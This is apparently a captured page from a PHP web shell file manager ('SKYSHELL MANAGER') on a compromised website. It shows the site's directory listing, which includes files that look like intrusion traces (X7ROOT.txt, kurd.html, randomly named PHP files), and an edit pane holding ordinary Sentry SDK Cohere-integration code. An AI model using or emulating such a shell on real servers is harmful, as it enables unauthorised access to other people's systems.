📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: cohere.py
from functools import wraps from sentry_sdk import consts from sentry_sdk.ai.monitoring import record_token_usage from sentry_sdk.consts import SPANDATA from sentry_sdk.ai.utils import set_data_normalized from typing import TYPE_CHECKING from sentry_sdk.tracing_utils import set_span_errored if TYPE_CHECKING: from typing import Any, Callable, Iterator from sentry_sdk.tracing import Span import sentry_sdk from sentry_sdk.scope import should_send_default_pii from sentry_sdk.integrations import DidNotEnable, Integration from sentry_sdk.utils import capture_internal_exceptions, event_from_exception try: from cohere.client import Client from cohere.base_client import BaseCohere from cohere import ( ChatStreamEndEvent, NonStreamedChatResponse, ) if TYPE_CHECKING: from cohere import StreamedChatResponse except ImportError: raise DidNotEnable("Cohere not installed") try: # cohere 5.9.3+ from cohere import StreamEndStreamedChatResponse except ImportError: from cohere import StreamedChatResponse_StreamEnd as StreamEndStreamedChatResponse COLLECTED_CHAT_PARAMS = { "model": SPANDATA.AI_MODEL_ID, "k": SPANDATA.AI_TOP_K, "p": SPANDATA.AI_TOP_P, "seed": SPANDATA.AI_SEED, "frequency_penalty": SPANDATA.AI_FREQUENCY_PENALTY, "presence_penalty": SPANDATA.AI_PRESENCE_PENALTY, "raw_prompting": SPANDATA.AI_RAW_PROMPTING, } COLLECTED_PII_CHAT_PARAMS = { "tools": SPANDATA.AI_TOOLS, "preamble": SPANDATA.AI_PREAMBLE, } COLLECTED_CHAT_RESP_ATTRS = { "generation_id": SPANDATA.AI_GENERATION_ID, "is_search_required": SPANDATA.AI_SEARCH_REQUIRED, "finish_reason": SPANDATA.AI_FINISH_REASON, } COLLECTED_PII_CHAT_RESP_ATTRS = { "citations": SPANDATA.AI_CITATIONS, "documents": SPANDATA.AI_DOCUMENTS, "search_queries": SPANDATA.AI_SEARCH_QUERIES, "search_results": SPANDATA.AI_SEARCH_RESULTS, "tool_calls": SPANDATA.AI_TOOL_CALLS, } class CohereIntegration(Integration): identifier = "cohere" origin = f"auto.ai.{identifier}" def __init__(self, include_prompts=True): # type: (CohereIntegration, bool) -> None self.include_prompts = include_prompts @staticmethod def setup_once(): # type: () -> None BaseCohere.chat = _wrap_chat(BaseCohere.chat, streaming=False) Client.embed = _wrap_embed(Client.embed) BaseCohere.chat_stream = _wrap_chat(BaseCohere.chat_stream, streaming=True) def _capture_exception(exc): # type: (Any) -> None set_span_errored() event, hint = event_from_exception( exc, client_options=sentry_sdk.get_client().options, mechanism={"type": "cohere", "handled": False}, ) sentry_sdk.capture_event(event, hint=hint) def _wrap_chat(f, streaming): # type: (Callable[..., Any], bool) -> Callable[..., Any] def collect_chat_response_fields(span, res, include_pii): # type: (Span, NonStreamedChatResponse, bool) -> None if include_pii: if hasattr(res, "text"): set_data_normalized( span, SPANDATA.AI_RESPONSES, [res.text], ) for pii_attr in COLLECTED_PII_CHAT_RESP_ATTRS: if hasattr(res, pii_attr): set_data_normalized(span, "ai." + pii_attr, getattr(res, pii_attr)) for attr in COLLECTED_CHAT_RESP_ATTRS: if hasattr(res, attr): set_data_normalized(span, "ai." + attr, getattr(res, attr)) if hasattr(res, "meta"): if hasattr(res.meta, "billed_units"): record_token_usage( span, input_tokens=res.meta.billed_units.input_tokens, output_tokens=res.meta.billed_units.output_tokens, ) elif hasattr(res.meta, "tokens"): record_token_usage( span, input_tokens=res.meta.tokens.input_tokens, output_tokens=res.meta.tokens.output_tokens, ) if hasattr(res.meta, "warnings"): set_data_normalized(span, SPANDATA.AI_WARNINGS, res.meta.warnings) @wraps(f) def new_chat(*args, **kwargs): # type: (*Any, **Any) -> Any integration = sentry_sdk.get_client().get_integration(CohereIntegration) if ( integration is None or "message" not in kwargs or not isinstance(kwargs.get("message"), str) ): return f(*args, **kwargs) message = kwargs.get("message") span = sentry_sdk.start_span( op=consts.OP.COHERE_CHAT_COMPLETIONS_CREATE, name="cohere.client.Chat", origin=CohereIntegration.origin, ) span.__enter__() try: res = f(*args, **kwargs) except Exception as e: _capture_exception(e) span.__exit__(None, None, None) raise e from None with capture_internal_exceptions(): if should_send_default_pii() and integration.include_prompts: set_data_normalized( span, SPANDATA.AI_INPUT_MESSAGES, list( map( lambda x: { "role": getattr(x, "role", "").lower(), "content": getattr(x, "message", ""), }, kwargs.get("chat_history", []), ) ) + [{"role": "user", "content": message}], ) for k, v in COLLECTED_PII_CHAT_PARAMS.items(): if k in kwargs: set_data_normalized(span, v, kwargs[k]) for k, v in COLLECTED_CHAT_PARAMS.items(): if k in kwargs: set_data_normalized(span, v, kwargs[k]) set_data_normalized(span, SPANDATA.AI_STREAMING, False) if streaming: old_iterator = res def new_iterator(): # type: () -> Iterator[StreamedChatResponse] with capture_internal_exceptions(): for x in old_iterator: if isinstance(x, ChatStreamEndEvent) or isinstance( x, StreamEndStreamedChatResponse ): collect_chat_response_fields( span, x.response, include_pii=should_send_default_pii() and integration.include_prompts, ) yield x span.__exit__(None, None, None) return new_iterator() elif isinstance(res, NonStreamedChatResponse): collect_chat_response_fields( span, res, include_pii=should_send_default_pii() and integration.include_prompts, ) span.__exit__(None, None, None) else: set_data_normalized(span, "unknown_response", True) span.__exit__(None, None, None) return res return new_chat def _wrap_embed(f): # type: (Callable[..., Any]) -> Callable[..., Any] @wraps(f) def new_embed(*args, **kwargs): # type: (*Any, **Any) -> Any integration = sentry_sdk.get_client().get_integration(CohereIntegration) if integration is None: return f(*args, **kwargs) with sentry_sdk.start_span( op=consts.OP.COHERE_EMBEDDINGS_CREATE, name="Cohere Embedding Creation", origin=CohereIntegration.origin, ) as span: if "texts" in kwargs and ( should_send_default_pii() and integration.include_prompts ): if isinstance(kwargs["texts"], str): set_data_normalized(span, SPANDATA.AI_TEXTS, [kwargs["texts"]]) elif ( isinstance(kwargs["texts"], list) and len(kwargs["texts"]) > 0 and isinstance(kwargs["texts"][0], str) ): set_data_normalized( span, SPANDATA.AI_INPUT_MESSAGES, kwargs["texts"] ) if "model" in kwargs: set_data_normalized(span, SPANDATA.AI_MODEL_ID, kwargs["model"]) try: res = f(*args, **kwargs) except Exception as e: _capture_exception(e) raise e from None if ( hasattr(res, "meta") and hasattr(res.meta, "billed_units") and hasattr(res.meta.billed_units, "input_tokens") ): record_token_usage( span, input_tokens=res.meta.billed_units.input_tokens, total_tokens=res.meta.billed_units.input_tokens, ) return res return new_embed
Save